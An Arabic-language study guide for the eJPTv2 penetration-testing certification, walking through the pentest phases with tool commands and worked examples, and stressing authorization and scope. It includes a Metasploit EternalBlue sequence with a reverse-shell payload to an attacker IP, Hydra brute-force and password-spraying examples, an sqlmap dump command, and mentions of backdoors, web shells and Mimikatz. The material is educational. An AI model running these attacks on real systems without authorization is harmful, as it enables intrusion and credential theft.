5221 words
26 minutes
eJPTv2 Study Notes
PENTESTING NOTES · eJPTv2

نوتس eJPTv2 — ملخص شامل لكل مراحل اختبار الاختراق

دليل مرجعي سريع لكل مراحل اختبار الاختراق كما وردت في كورس eJPTv2، من التخطيط والاتفاق مع العميل وحتى استغلال تطبيقات الويب، مع شرح للمفاهيم، الأدوات، أوامر التثبيت والاستخدام، وأمثلة عملية لكل مرحلة.

1 عملية اختبار الاختراق (Penetration Testing Process)

دي المراحل اللي بتمر بيها عملية اختبار الاختراق بالترتيب:

Engagement→ Information Gathering→ Scanning→ Enumeration→ Exploitation→ Post-Exploitation→ Reporting

الفكرة الأساسية إن اختبار الاختراق مش "افتح Metasploit وابدأ تضرب Exploits عشوائي" — دي عملية منظمة، كل مرحلة فيها بتبني على اللي قبلها، ولو قفزت مرحلة أو استعجلت فيها، هتلاقي نفسك تايه في مرحلة الاستغلال من غير ما تعرف إنت بتخترق إيه بالظبط.

Engagement

دي المرحلة اللي بيتم فيها الاتفاق بين البينتستر والكلاينت (مالك المؤسسة). بيتحدد فيها:

  • الـ Scope: إيه الأنظمة المسموح تختبرها بالظبط (IP Ranges، دومينات، تطبيقات)، وإيه اللي ممنوع تلمسه خالص
  • نوع الاختبار: Black Box (من غير أي معلومات مسبقة)، White Box (بمعلومات كاملة عن البنية التحتية)، أو Grey Box (معلومات جزئية)
  • السعر وعدد الأيام وعدد الساعات يوميًا المتاحة للاختبار
  • نقطة التواصل (Point of Contact): مين اللي البينتستر هيتواصل معاه لو حصل حادث غير متوقع، زي إنه سبب تعطل لخدمة حقيقية بالغلط
  • الـ Rules of Engagement (RoE): وثيقة رسمية بتوضح الصلاحيات القانونية للاختبار، وده اللي بيحميك لو حصل أي مشكلة
مثال عملي

لو الكلاينت قالك "اختبر الشبكة الداخلية بتاعتنا"، وانت لقيت أثناء الفحص سيرفر خارج نطاق الـ IP Range المتفق عليه، الأصل إنك توقف وترجع تتأكد من الكلاينت قبل ما تكمل، حتى لو السيرفر ده شكله ضعيف وسهل الاختراق. الخروج عن الـ Scope من غير إذن بيحول اختبار الاختراق القانوني لجريمة إلكترونية.

Information Gathering

دي مرحلة جمع المعلومات، وبتتقسم لنوعين رئيسيين:

Passive Information Gathering

البينتستر بيجمع معلومات عن الهدف من غير أي تفاعل مباشر معاه، يعني الهدف نفسه أو أي جهاز تابع له ملهوش أي أثر إنك بتراقبه. المعلومات دي بتشمل:

  • تحديد عناوين IP ومعلومات DNS
  • تحديد أسماء النطاقات وملكيتها
  • تحديد عناوين البريد الإلكتروني وملفات التعريف على وسائل التواصل الاجتماعي
  • تحديد التقنيات المستخدمة في المواقع المستهدفة
  • تحديد النطاقات الفرعية

Active Information Gathering

هنا بيحصل تفاعل مباشر مع الهدف (طلبات HTTP فعلية، اتصالات على منافذ، إلخ)، وده معناه إن فيه احتمال إن أنظمة الحماية زي الـ IDS/IPS تلاحظ نشاطك. المعلومات اللي بتجمعها هنا:

  • اكتشاف المنافذ المفتوحة على الأنظمة المستهدفة
  • التعرف على البنية التحتية الداخلية لشبكة الهدف
  • استخراج المعلومات من الأنظمة المستهدفة مباشرة (زي banner grabbing)

الفرق العملي بينهم إن الـ Passive بتاخد وقت أطول وبتديك صورة عامة، والـ Active بتديك تفاصيل دقيقة لكنها بتزود فرصة اكتشافك.

تقنيات وأدوات جمع المعلومات

التقنيةالاستخدام
Whois Enumerationلجمع معلومات النطاق
DNS Reconلاستكشاف وتحليل معلومات DNS
WAF Detection (wafw00f)للكشف عن جدران الحماية
Subdomain Enumeration (Sublist3r / Amass)لتحديد النطاقات الفرعية
Google Dorksلاستخدام محركات البحث بفعالية في جمع المعلومات
Email Harvesting (theHarvester)لجمع عناوين البريد الإلكتروني
Leaked Password Databasesللبحث في قواعد بيانات كلمات المرور المسربة
DNS Zone Transfersلاستكشاف نقل مناطق DNS
سجلات DNSA, AAAA, NS, MX, CNAME, TXT وغيرها
DNS Interrogationتحليل سجلات DNS لاستخراج IPs والنطاقات الفرعية
Host Discovery (Nmap)لاكتشاف الأجهزة الموجودة على الشبكة
Port Scanning (Nmap)لفحص المنافذ المفتوحة
Shodanمحرك بحث للأجهزة المتصلة بالإنترنت مباشرة (كاميرات، راوترات، سيرفرات)
Maltegoربط المعلومات المجمّعة ببعض بصريًا (أشخاص، دومينات، إيميلات) في خريطة واحدة
ملاحظة

لو الـ DNS Zone Transfer مكوّن بشكل غير صحيح، ممكن يتم استغلاله للحصول على نظرة شاملة على شبكة المؤسسة بالكامل — بما فيها أسماء السيرفرات الداخلية وعناوينها، وده بيوفر عليك مجهود اكتشاف كبير.

تثبيت واستخدام الأدوات

Whois

sudo apt-get update
sudo apt-get install whois
whois example.com
whois 8.8.8.8

بتطلعلك معلومات زي: مين مسجل الدومين، تاريخ التسجيل والانتهاء، وسيرفرات الـ DNS المرتبطة بيه. مفيدة كخطوة أولى قبل أي حاجة تانية.

wafw00f

python3 --version
pip3 install wafw00f
wafw00f http://example.com

بتساعدك تعرف لو فيه جدار حماية (WAF) بيحمي التطبيق، ونوعه (Cloudflare، Akamai، ModSecurity...)، وده بيأثر على طريقة تعاملك مع التطبيق بعد كده — مثلًا لو فيه WAF، هجمات SQL Injection المباشرة هتتحظر، فهتحتاج تفكر في تقنيات Evasion.

Sublist3r

sudo apt-get install git
pip install -r requirements.txt
python sublist3r.py -d example.com

بتجمع النطاقات الفرعية من مصادر متعددة (Google، Bing، Yahoo، VirusTotal...) في أمر واحد. لو لقيت subdomain زي dev.example.com أو staging.example.com، غالبًا دي بتبقى بيئات أقل تأمينًا من الموقع الرئيسي.

theHarvester

sudo apt-get install git
git clone https://github.com/laramies/theHarvester.git
pip install -r requirements.txt
python3 theHarvester.py -d example.com -b all

الإيميلات اللي بتجمعها هنا مش بس لغرض التوعية، دي بتفيدك بعد كده في هجمات زي Password Spraying على بوابات تسجيل الدخول (VPN، Webmail، Office365).

Nmap

sudo apt-get update
sudo apt-get install nmap
nmap -p 80 example.com
مثال عملي متكامل

تخيل عندك دومين target.com. أول خطوة whois target.com تعرف بيه مين صاحب الدومين وأسماء الـ Name Servers. بعدها sublist3r -d target.com تكتشف إن فيه mail.target.com وvpn.target.com. تجيب إيميلات الموظفين بـ theHarvester، وتشوف لو فيه WAF قدام الموقع الرئيسي بـ wafw00f. في الآخر، عندك صورة كاملة عن الهدف من غير ما تبعت أي طلب فحص شرس واحد لسه.

كدا خلصنا جزء الـ Information Gathering بالكامل.


2 التتبع والفحص (Footprinting and Scanning)

السكشن ده لا يقل أهمية عن اللي قبله، لأن عملية الاستطلاع وجمع المعلومات بتشكل نسبة كبيرة من نجاح عملية اختبار الاختراق بالكامل — الإحصائية الشائعة في المجال إن حوالي 60-70% من وقت أي اختبار اختراق حقيقي بيروح في الاستطلاع والفحص، مش في الاستغلال نفسه.

الفكرة الأساسية: قبل ما تبدأ تخترق أي حاجة، لازم تجمع كل المعلومات اللي تقدر توصلها عن الهدف بدون ما تخليه يحس إنك بتراقبه.

أنواع جمع المعلومات

1. Passive Footprinting

جمع معلومات عن الهدف من غير أي تفاعل مباشر معاه — زي متابعة أخبار الشركة، الـ LinkedIn بتاع الموظفين، أو المستندات المتاحة على الإنترنت.

  • Google Dorking: استخدام جوجل بطرق ذكية للوصول لملفات أو صفحات محددة على الموقع المستهدف:
    site:target.com filetype:pdf
    site:target.com inurl:admin
    site:target.com intitle:"index of"
  • TheHarvester: لجمع الإيميلات، الدومينات، وعناوين IP الخاصة بالشركة
  • Recon-ng: أداة بتجمع المعلومات بشكل منظم وتلقائي، وبتشتغل بنظام Modules زي Metasploit بالظبط

2. Active Footprinting

هنا بيبدأ التفاعل المباشر مع الهدف — زي فحص الأجهزة أو الخدمات الشغالة عنده.

  • Nmap: بيفحص المنافذ والخدمات الشغالة على الجهاز
  • Netcraft: بيدي معلومات عن الموقع والسيرفر، وحتى تاريخ التغييرات اللي حصلت في التقنيات المستخدمة بمرور الوقت
  • Shodan: زي محرك بحث بس مخصص للأجهزة المتصلة بالإنترنت — ممكن تدور فيه بـ org:"Target Company" وتلاقي كل الأجهزة المعرّفة باسم الشركة

المعلومات اللي لازم تجمعها

  • معلومات الدومين: بيانات DNS، معلومات التسجيل، والـ Subdomains
  • معلومات الشركة: عناوين IP، مواقع المكاتب، والموظفين
  • معلومات الموقع: التكنولوجيات المستخدمة، السيرفرات، والحماية

الفحص (Scanning)

بعد جمع المعلومات، بييجي دور الفحص عشان تعرف إيه الشغال على النظام من خدمات — وده بيبقى الأساس اللي هتبني عليه أي محاولة اختراق بعد كده. الفكرة ببساطة: من غير Scanning إنت عمال تحاول تخترق حاجة إنت أصلًا مش عارف هي شغالة ولا لأ.

1. فحص المنافذ (Port Scanning)

الأداة الأساسية هنا هي Nmap — بتفحص المنافذ، تعرف نظام التشغيل، والخدمات الشغالة.

nmap -sS -p- [TARGET_IP]       # فحص كل المنافذ
nmap -sV -p 80,443 [TARGET_IP]  # عرض تفاصيل الخدمات
nmap -O [TARGET_IP]             # اكتشاف نظام التشغيل

فحص سريع وفحص شامل:

nmap -T4 -F 192.168.1.1        # فحص سريع للمنافذ المفتوحة
nmap -sS -p- 192.168.1.1       # فحص كل المنافذ من 1 لـ 65535

فرق بسيط بين أنواع الفحص المهمة:

النوعالأمرملاحظات
TCP SYN Scannmap -sSأسرع نوع وأكتر Stealthy، بيحتاج صلاحيات root
TCP Connect Scannmap -sTبيكمل الـ Handshake بالكامل، أبطأ وأسهل اكتشافه
UDP Scannmap -sUأبطأ بكتير، لكن مهم جدًا لخدمات زي SNMP وDNS
Aggressive Scannmap -Aبيجمع OS Detection + Version Detection + Scripts + Traceroute في أمر واحد
مثال عملي

لو عملت nmap -sV [TARGET_IP] ولقيت المنفذ 445 مفتوح وعليه Microsoft-DS، ده معناه غالبًا الجهاز ده Windows وشغال عليه SMB — يبقى خطوتك التالية منطقيًا تكون Enumeration للـ SMB، مش مثلاً تحاول Exploit خاص بـ Apache.

Masscan — بيعمل نفس شغل Nmap بس أسرع بكتير، ومناسب لفحص ملايين المنافذ في ثواني، خصوصًا لو بتفحص شبكة كبيرة أو نطاق IP واسع:

masscan -p1-65535 192.168.1.0/24 --rate=1000

Unicornscan — أداة قوية لفحص الشبكات الكبيرة وعندها قدرات مميزة في التعامل مع بروتوكولات مختلفة:

unicornscan -i eth0 -mT -p 1-65535 192.168.1.1

2. فحص الثغرات (Vulnerability Scanning)

بعد ما نعرف المنافذ والخدمات، بنشوف لو فيها ثغرات معروفة.

  • Nessus: أداة شاملة بتفحص وتطلع تقرير كامل بالثغرات مصنفة من Critical لحد Low
  • OpenVAS: نسخة مفتوحة المصدر بتعمل نفس الشغل تقريبًا
  • Nikto: بتفحص السيرفرات وتكشف الثغرات أو الإعدادات الخاطئة
    nikto -h http://example.com

3. فحص الشبكة (Network Scanning)

الهدف هنا معرفة مين متصل على الشبكة والشبكات الفرعية.

Netdiscover:

netdiscover -r 192.168.1.0/24

Fping — بيعمل Ping على مجموعة عناوين IP بسرعة:

fping -a -g 192.168.1.0/24

Angry IP Scanner — أداة بواجهة رسومية سهلة لفحص عناوين الـ IP.

أدوات إضافية مفيدة

  • Wireshark: لمراقبة الشبكة وفهم اللي بيحصل فيها لحظة بلحظة
  • Dirbuster / Dirb: لاكتشاف الملفات والدلائل المخفية على السيرفر
  • Gobuster: بديل أسرع وأخف من Dirbuster، مكتوب بلغة Go، ومفيد للـ Directory Brute-forcing والـ DNS Subdomain discovery في أداة واحدة:
    gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
  • Fierce: لفحص معلومات DNS بشكل متقدم
  • Dnsenum: للبحث في معلومات DNS بتفصيل أكبر
  • Netcat: أداة كلاسيكية لـ Banner Grabbing يدويًا والتأكد من الخدمة الشغالة فعليًا على منفذ معين:
    nc -nv [TARGET_IP] 22

نصائح للفحص

  • اتأكد من الأذونات — قبل أي فحص، لازم يكون عندك إذن رسمي من صاحب الشبكة أو الموقع
  • حلل كويس — النتائج ممكن تكون كتير، خد وقتك في التحليل وما تستعجلش
  • جرب أكتر من أداة — كل أداة ليها طريقة فحص مختلفة، فممكن تطلعلك معلومات مختلفة
  • وثّق كل حاجة أول بأول — بدل ما تعتمد على ذاكرتك، احفظ نتيجة كل سكان في ملف باستخدام -oN أو -oA في Nmap، هتحتاجها وقت كتابة التقرير

3 الاستخراج (Enumeration)

الـ Enumeration بتيجي بعد مرحلة الـ Scanning، وفيها بنطلع معلومات أكتر تفصيلًا عن النظام أو الشبكة اللي بنستهدفها — مين شغال في الشركة، إيه الخدمات الشغالة، إيه الأجهزة المتصلة بالشبكة، وتفاصيل كتير تانية.

الفرق الجوهري

الـ Scanning بيقولك "المنفذ 445 مفتوح"، بينما الـ Enumeration بيقولك "المنفذ 445 مفتوح، والشير اسمه Finance، وفيه صلاحية كتابة، والمستخدمين اللي عندهم صلاحية عليه هما دول". يعني الـ Enumeration هي المرحلة اللي بتحول معلومة عامة لمعلومة قابلة للاستغلال فعليًا.

أنواع الـ Enumeration

  • Network Enumeration: معرفة الأجهزة الموجودة في الشبكة وكل جهاز شغال عليه إيه
  • User Enumeration: استخراج المستخدمين الشغالين على السيرفر أو الشبكة
  • Service Enumeration: معرفة الخدمات الشغالة على كل جهاز (FTP، HTTP، SMB... إلخ)
  • Protocol Enumeration: استخراج معلومات عن البروتوكولات المستخدمة في الشبكة (SNMP، NetBIOS، LDAP...)

1. Network Enumeration

Nmap — لعمل مسح شامل على الشبكة ومعرفة كل الأجهزة المتصلة:

nmap -sn 192.168.1.0/24

Netdiscover:

netdiscover -r 192.168.1.0/24

ARP Scan — لجلب الأجهزة المتصلة باستخدام بروتوكول ARP:

arp-scan -l

2. User Enumeration

RPCclient — لفتح جلسة على جهاز عن طريق SMB واستخراج بيانات المستخدمين. مفيدة جدًا لو الجهاز بيسمح بـ Null Session (يعني اتصال من غير Username أو Password):

rpcclient -U "" [TARGET_IP]

وبعدها جوا الجلسة:

enumdomusers

enum4linux — بيدي تفاصيل شاملة عن أنظمة الويندوز (مستخدمين، جروبات، سياسات كلمات المرور، الشيرز، حتى معلومات عن الدومين نفسه) في أمر واحد:

enum4linux -a [TARGET_IP]

smbclient — للاتصال المباشر بالشيرز واستعراض محتواها زي ما بتعمل مع FTP تقريبًا:

smbclient -L //[TARGET_IP] -N
smbclient //[TARGET_IP]/ShareName -N

Nmap Scripts:

nmap --script smb-enum-users -p 445 [TARGET_IP]

Hydra — لتجربة كلمات مرور مختلفة على قائمة مستخدمين:

hydra -L users.txt -P passwords.txt [TARGET_IP] smb
مثال عملي

لقيت جهاز Windows على المنفذ 445 بيسمح بـ Null Session. عملت enum4linux -a [TARGET_IP] ولقيت قائمة مستخدمين فيها j.smith, a.hassan, admin. جمعت الأسماء دي في ملف users.txt، وبعدين رحت أعمل Password Spraying بكلمة واحدة شائعة (زي Summer2024!) على كل المستخدمين دول بدل ما أحاول Brute-force حساب واحد بقايمة كلمات كبيرة — ده بيقلل فرصة إن الحساب يتقفل بسبب سياسة الـ Account Lockout.

3. Service Enumeration

Nmap Service Scripts:

nmap --script ftp-anon,ftp-bounce,ftp-syst -p 21 [TARGET_IP]

Nikto:

nikto -h http://example.com

showmount — مخصصة لخدمة NFS، بتوريك أي مجلدات متاحة للمشاركة عن بعد:

showmount -e [TARGET_IP]

Metasploit Auxiliary Modules:

use auxiliary/scanner/smb/smb_enumshares
set RHOSTS [TARGET_IP]
run

4. Protocol Enumeration

SNMP Enumeration:

snmpwalk -v 2c -c public [TARGET_IP]

بروتوكول SNMP لو شغال بـ Community String افتراضي زي public أو private، ممكن يسرّبلك معلومات ضخمة عن الجهاز — من نظام التشغيل لحد جداول الـ Routing، وأحيانًا حتى المستخدمين المحليين.

snmp-check — بديل بواجهة أوضح لـ snmpwalk:

snmp-check [TARGET_IP] -c public

NetBIOS Enumeration:

nbtscan 192.168.1.0/24

LDAP Enumeration:

ldapsearch -x -h [TARGET_IP] -b "dc=example,dc=com"

الـ Enumeration محتاجة صبر واهتمام بالتفاصيل الصغيرة — أكتر ثغرة ممكن تلاقيها بتيجي من حاجة بسيطة زي إعداد غلط أو مستخدم ناسي يقفل الـ FTP. القاعدة العملية اللي أتبعها دايمًا: لو فيه بورت مفتوح، جرب كل الـ Enumeration الممكنة عليه قبل ما تنتقل للجهاز اللي بعده — رجوعك تاني بعد ساعات ممكن يضيع وقت كبير في إعادة التموضع.


4 تقييم الثغرات (Vulnerability Assessment)

الـ Vulnerability Assessment أو تقييم الثغرات هو إنك تفحص نظام أو شبكة أو موقع عشان تلاقي نقاط الضعف اللي ممكن الهاكر يستغلها — الهدف إنك تلاقيها قبله.

الفرق المهم

بينها وبين Penetration Testing الكامل: الـ VA بيوقف عند "اكتشاف وتوثيق الثغرة"، بينما الـ Pentest بيكمل خطوة كمان ويحاول يستغل الثغرة فعليًا عشان يثبت تأثيرها الحقيقي (مش كل ثغرة نظرية قابلة للاستغلال فعليًا).

خطوات التقييم

  1. التخطيط والتحضير: تحديد نطاق الفحص (سيرفر، شبكة، موقع...)، الاتفاق على الأدوات، والتأكد من موافقة صاحب النظام. الفحص ممكن يكون:
    • خارجي: الحاجات اللي أي حد من بره الشبكة يقدر يوصلها (زي Web Servers)
    • داخلي: فحص الأنظمة اللي جوا الشبكة
  2. جمع المعلومات: الـ IPs الشغالة، أنظمة التشغيل، والخدمات (FTP، HTTP...)
  3. الفحص: على مستوى الشبكة، الأنظمة، والتطبيقات (SQL Injection، XSS، إلخ)
  4. تحليل النتائج: تقييم خطورة كل ثغرة وتأثيرها المحتمل — هنا عادةً بيتم استخدام معيار CVSS (Common Vulnerability Scoring System) لإدي كل ثغرة رقم من 0 لـ 10 بناءً على خطورتها الفعلية، مش مجرد وصف عام
  5. كتابة التقرير: توثيق الثغرات وخطورتها وطرق إصلاحها
  6. المتابعة (Remediation & Re-Assessment): التأكد إن الثغرات اتقفلت فعلًا بعد الإصلاح

أهم الأدوات

الأداةالاستخدام
Nessusفحص شامل للشبكة والأنظمة والبرامج مع تقرير مفصل
OpenVASنفس فكرة Nessus لكن مفتوحة المصدر
QualysGuardخدمة سحابية لفحص الأنظمة والشبكات
Niktoفحص مواقع الويب عن الثغرات والإعدادات الخاطئة
Burp Suiteاختبار تطبيقات الويب (SQL Injection، XSS، إلخ)
Nexpose (InsightVM)من أدوات Rapid7، بتتكامل بسهولة مع Metasploit لنقل نتايج الفحص مباشرة لمرحلة الاستغلال
Nucleiأداة حديثة وسريعة جدًا بتعتمد على Templates جاهزة لفحص آلاف الثغرات المعروفة (CVEs) في وقت قصير

خطوات فحص شامل سريع

# 1. ابدأ بـ Nmap لمعرفة المنافذ والخدمات
nmap -sV -sC -oN scan_results.txt [TARGET_IP]

بعدها:

  • استخدم Nessus أو OpenVAS لفحص شامل على الـ IPs اللي جمعتها
  • استخدم Burp Suite أو Nikto لو فيه تطبيق ويب
  • حلل النتائج واكتب التقرير
مثال عملي

فحصت جهاز بـ Nessus ولقيت النتيجة بتقول إن نسخة SMB القديمة الشغالة على الجهاز عرضة لـ MS17-010 (EternalBlue)، ودرجة الخطورة CVSS تسجل 9.8 من 10. الخطوة المنطقية بعد كده مش إنك تصلح المشكلة بنفسك، لكن توثقها في تقييمك وتوضح إن الثغرة دي بتسمح بتنفيذ أوامر عن بعد بدون أي مصادقة — وده اللي بيخلي أولويتها Critical.

نصائح

  • حافظ على تحديث الأدوات باستمرار — الأدوات القديمة ممكن ماتكتشفش الثغرات الجديدة
  • راجع النتائج بنفسك دايمًا، الأدوات مش دايمًا دقيقة 100% — ممكن تطلع False Positives
  • بلّغ الفريق فورًا بأي ثغرة حرجة (Critical) بمجرد اكتشافها، مش لما تخلص الفحص بالكامل
  • تابع الثغرات الجديدة اللي بتظهر باستمرار (نشرات CVE يوميًا)

5 تدقيق الشبكات (Network Auditing)

تدقيق الشبكات هو فحص وتحليل الشبكة بالكامل عشان تعرف الأجهزة الموجودة، الخدمات الشغالة، إعدادات الشبكة، الثغرات الأمنية، وأي أخطاء ممكن تأثر على الأداء أو الأمان.

الفرق عن الـ Pentest

بخلاف الـ Pentest اللي بيركز على "هل ممكن أخترق؟"، الـ Network Auditing بيركز أكتر على "هل الإعدادات دي متوافقة مع أفضل الممارسات الأمنية؟"

ليه بنعمل Network Auditing؟

  • تحسين الأمان: اكتشاف الثغرات وسدها
  • تحسين الأداء: كشف المشاكل اللي بتأثر على سرعة الشبكة
  • الامتثال (Compliance): التأكد من التوافق مع معايير زي PCI-DSS وISO
  • الكشف عن الأخطاء: اكتشاف الأخطاء في الإعدادات قبل ما تسبب مشاكل كبيرة

خطوات التدقيق

  1. جمع المعلومات الأولية: عمل Inventory لكل الأجهزة المتصلة (Routers, Switches, Servers, Workstations)
    nmap -sV -oN network_scan.txt [IP Range]
  2. فحص الأجهزة والخدمات: التأكد من إن المنافذ المفتوحة هي المطلوبة فقط — مثلًا لو لقيت Telnet شغال على راوتر، ده Red Flag فورًا لأنه بروتوكول غير مشفر
  3. مراجعة إعدادات الشبكة: ACLs، VLANs، إعدادات الـ Routing، وتقسيم الشبكة (Segmentation) — شبكة من غير Segmentation معناها لو جهاز واحد اتخترق، المهاجم يقدر يوصل لكل حاجة تانية بسهولة
  4. تحليل حركة المرور: باستخدام Wireshark لرصد أي بيانات أو اتصالات غير طبيعية، زي بيانات بتتنقل بدون تشفير أو اتصالات لجهات خارجية مشبوهة
  5. فحص الأمان: كلمات مرور ضعيفة/افتراضية، بروتوكولات غير آمنة (FTP، Telnet)، أنظمة قديمة — باستخدام Nessus/OpenVAS وHydra/Medusa
  6. فحص الـ Firewall والـ IDS/IPS: التأكد من فعاليتها في منع ورصد الاتصالات المشبوهة
  7. تحليل السجلات (Logs): مراجعة سجلات الـ Routers والـ Firewalls والـ Servers لرصد محاولات دخول فاشلة
  8. اختبار الإعدادات السيئة: تجربة كلمات مرور افتراضية، محاولة الوصول لموارد بدون صلاحيات، التأكد من عدم استخدام SNMP Public Community Strings
  9. كتابة التقرير: توثيق الثغرات والمشاكل والتوصيات
  10. المتابعة: إعادة التدقيق بعد الإصلاح للتأكد من إغلاق الثغرات

أدوات مهمة

  • Nmap: فحص الأجهزة والخدمات في الشبكة
  • Wireshark: مراقبة وتحليل حركة المرور
  • Nessus / OpenVAS: فحص الثغرات
  • SolarWinds Network Performance Monitor: مراقبة أداء الشبكة
  • Splunk / ELK Stack: تحليل السجلات
  • PRTG Network Monitor: لمراقبة حالة الأجهزة والخدمات باستمرار وإرسال تنبيهات لحظية عند حدوث مشكلة
مثال عملي

أثناء تدقيق شبكة شركة صغيرة، لاحظت إن كل الأجهزة على نفس الـ VLAN — يعني جهاز الموظفين العادي على نفس شبكة سيرفرات المحاسبة. حتى لو محدش استغل ده فعليًا، ده بحد ذاته "ثغرة تصميمية" لازم تتسجل في التقرير كـ Finding، لأنها بتوسع دائرة الخطر لو أي جهاز عادي اتخترق.

نصائح

  • راجع كل جهاز وكل خدمة، حتى لو باين إنها مش مهمة
  • استخدم الأدوات المناسبة لحجم وتعقيد الشبكة
  • أغلب الثغرات بتيجي من إعدادات غلط — راجعها كويس
  • حلل حركة المرور وتأكد إنها طبيعية
  • ابقى محدث بالثغرات الجديدة دايمًا

6 اختبار اختراق الشبكات (Network Penetration Testing)

هنا بتمثل دور الهاكر فعليًا وتحاول تخترق شبكة معينة عشان تكتشف الثغرات ونقاط الضعف فيها قبل ما حد تاني يكتشفها ويستغلها.

الخطوات

1. التخطيط والموافقة

خد إذن رسمي من صاحب الشبكة يوضح نطاق الفحص والأدوات المسموح استخدامها — ده بيحميك قانونيًا.

2. جمع المعلومات

الأجهزة الموجودة، الـ IP Range، وأنظمة التشغيل الشغالة.

nmap -sn [IP Range]

بالإضافة لـ WHOIS وNSLookup لمعرفة معلومات الدومين والـ IP.

3. الفحص

  • Port Scanning بـ Nmap
  • Service Enumeration لمعرفة الخدمات الشغالة على كل منفذ

4. Enumeration

  • enum4linux: لاستخراج معلومات SMB
  • SNMPwalk: لسحب البيانات من الأجهزة اللي شغالة عليها SNMP
  • rpcclient: لجلب معلومات RPC Services

5. Vulnerability Assessment

فحص شامل بـ Nessus أو OpenVAS لاكتشاف الأنظمة غير المحدثة، البروتوكولات القديمة، وكلمات المرور الضعيفة.

6. Exploitation

استغلال الثغرات المكتشفة فعليًا، على سبيل المثال:

  • لو فيه ثغرة SMB → Metasploit
  • لو فيه SSH مفتوح → محاولة Brute-force
  • Metasploit Framework: فيه Exploits جاهزة للاستخدام المباشر
  • Hydra / Medusa: لهجمات الـ Brute-force
مثال عملي متكامل

فحصت جهاز Windows Server ولقيت المنفذ 445 مفتوح بنسخة SMB قديمة. أكدت الثغرة بـ Nessus، ولقيتها فعلًا MS17-010. فتحت Metasploit:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS [TARGET_IP]
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST [ATTACKER_IP]
exploit

ولو نجح الاستغلال، هتلاقي نفسك جوا Meterpreter Session بصلاحيات SYSTEM مباشرة — لأن الثغرة دي من نوع Remote Code Execution بدون مصادقة.

7. Maintaining Access

تثبيت الوجود على الجهاز بعد الدخول — زي إنشاء Backdoor بـ Netcat أو رفع Web Shell.

8. Privilege Escalation

رفع الصلاحيات من مستخدم عادي لـ Admin، باستخدام أدوات زي Linux Exploit Suggester أو Windows Exploit Suggester — الفكرة هنا إنك بتجمع معلومات عن الكيرنل والتحديثات المثبتة، وبتقارنها بقاعدة بيانات ثغرات معروفة لرفع الصلاحيات.

9. Pivoting

التحرك من جهاز لجهاز جوا نفس الشبكة باستخدام الجهاز المخترق كبوابة، عبر أدوات زي Chisel أو Proxychains. مفيدة جدًا لما تكتشف إن الجهاز اللي اخترقته عنده كارت شبكة تاني متصل بشبكة داخلية تانية إنت أصلًا مش قادر توصلها مباشرة.

10. Post-Exploitation

سحب أي معلومات حساسة — ملفات، Passwords، بيانات مهمة. أدوات زي Mimikatz بتستخدم هنا لسحب كلمات المرور المخزنة في الذاكرة على أنظمة Windows.

11. Covering Tracks & Reporting

مسح أي أثر يدل على تواجدك على النظام، وكتابة تقرير شامل بكل الثغرات اللي اتكشفت واتستغلت وطرق إصلاحها.

ملحوظة مهمة

في اختبارات الاختراق الاحترافية غالبًا الـ RoE بتطلب منك إنك متمسحش آثارك بالكامل، عشان فريق الـ Blue Team يقدر يتمرن على اكتشافها كجزء من التمرين.

الأدوات المستخدمة

  • Nmap: فحص الشبكة والمنافذ
  • Metasploit Framework: استغلال الثغرات
  • Burp Suite: اختبار تطبيقات الويب
  • Hydra / Medusa: هجمات Brute-force
  • Wireshark: تحليل الشبكة
  • CrackMapExec: أداة ممتازة للتحقق السريع من صلاحية بيانات اعتماد على مجموعة أجهزة كاملة في أمر واحد، ومفيدة جدًا في بيئات Active Directory
  • BloodHound: لرسم العلاقات بين المستخدمين والجروبات والأجهزة في بيئة Active Directory بصريًا، وبيوريك أقصر مسار من مستخدم عادي لصلاحيات Domain Admin

نصائح مهمة

  • خد إذن رسمي أول أي حاجة — الشغل لازم يكون قانوني
  • ابدأ دايمًا بجمع المعلومات كفاية قبل أي خطوة تانية
  • اختار الأداة المناسبة لكل موقف، مش كل أداة تنفع في كل هجوم

7 اختبار اختراق تطبيقات الويب (Web Application Penetration Testing)

هنا بتحاكي دور الهاكر لاكتشاف الثغرات في تطبيقات الويب — الهدف حماية التطبيق من أي هجوم محتمل ومساعدة المطورين في تحسين الأمان.

الخطوات

1. التخطيط والموافقة

زي اختبار الشبكات بالظبط — إذن رسمي من أصحاب التطبيق، وتحديد حدود الفحص بدقة.

2. جمع المعلومات

فهم هيكل التطبيق، وظائفه، وطريقة تفاعل المستخدمين معاه.

  • WHOIS: معلومات الدومين
  • NSLookup: سجلات DNS
  • Google Dorking: للوصول لمعلومات حساسة عن التطبيق

3. فحص التطبيق

  • OWASP ZAP: أداة مفتوحة المصدر لفحص تطبيقات الويب
  • Burp Suite: من أشهر أدوات فحص تطبيقات الويب
  • Wappalyzer: إضافة متصفح بتكشفلك التقنيات المستخدمة في بناء الموقع (لغة البرمجة، الـ CMS، المكتبات الأمامية) في ثواني

4. Enumeration

استخراج نقاط الدخول في التطبيق — نماذج التسجيل، API endpoints، وكل مكون ممكن يتم استغلاله.

  • Burp Suite: لتعديل الطلبات والاستجابات
  • Postman: لتجربة الـ APIs
  • Gobuster / Wfuzz: لاكتشاف الصفحات والمسارات المخفية اللي مش ظاهرة في القائمة الرئيسية للموقع:
    wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://example.com/FUZZ

5. Vulnerability Assessment

البحث عن أنواع ثغرات محددة:

  • SQL Injection: حقن استعلامات ضارة في قواعد البيانات
  • Cross-Site Scripting (XSS): حقن سكريبتات ضارة في صفحات الويب
  • Cross-Site Request Forgery (CSRF): إجبار المستخدم على تنفيذ إجراءات غير مرغوبة
  • Insecure Direct Object References (IDOR): الوصول غير المصرح به للموارد
  • File Upload Vulnerabilities: رفع ملفات ضارة (زي Web Shell) لو التطبيق مش بيتحقق كويس من نوع الملف المرفوع
  • Local/Remote File Inclusion (LFI/RFI): تضمين ملفات من السيرفر نفسه أو من مصدر خارجي، وده ممكن يوصل لتنفيذ أوامر

6. Exploitation

  • SQLMap: لتسهيل استغلال ثغرات SQL Injection
  • XSSer: لاكتشاف واستغلال ثغرات XSS
مثال عملي

لاقيت باراميتر ?id=1 في رابط الموقع بيرجع بيانات مختلفة حسب الرقم. جربت ?id=1' ورجعلي Error من قاعدة البيانات — ده مؤشر قوي على SQL Injection. أكدت الثغرة وبعدين استخدمت SQLMap لأتمتة عملية الاستخراج:

sqlmap -u "http://example.com/vuln.php?id=1" --dbs
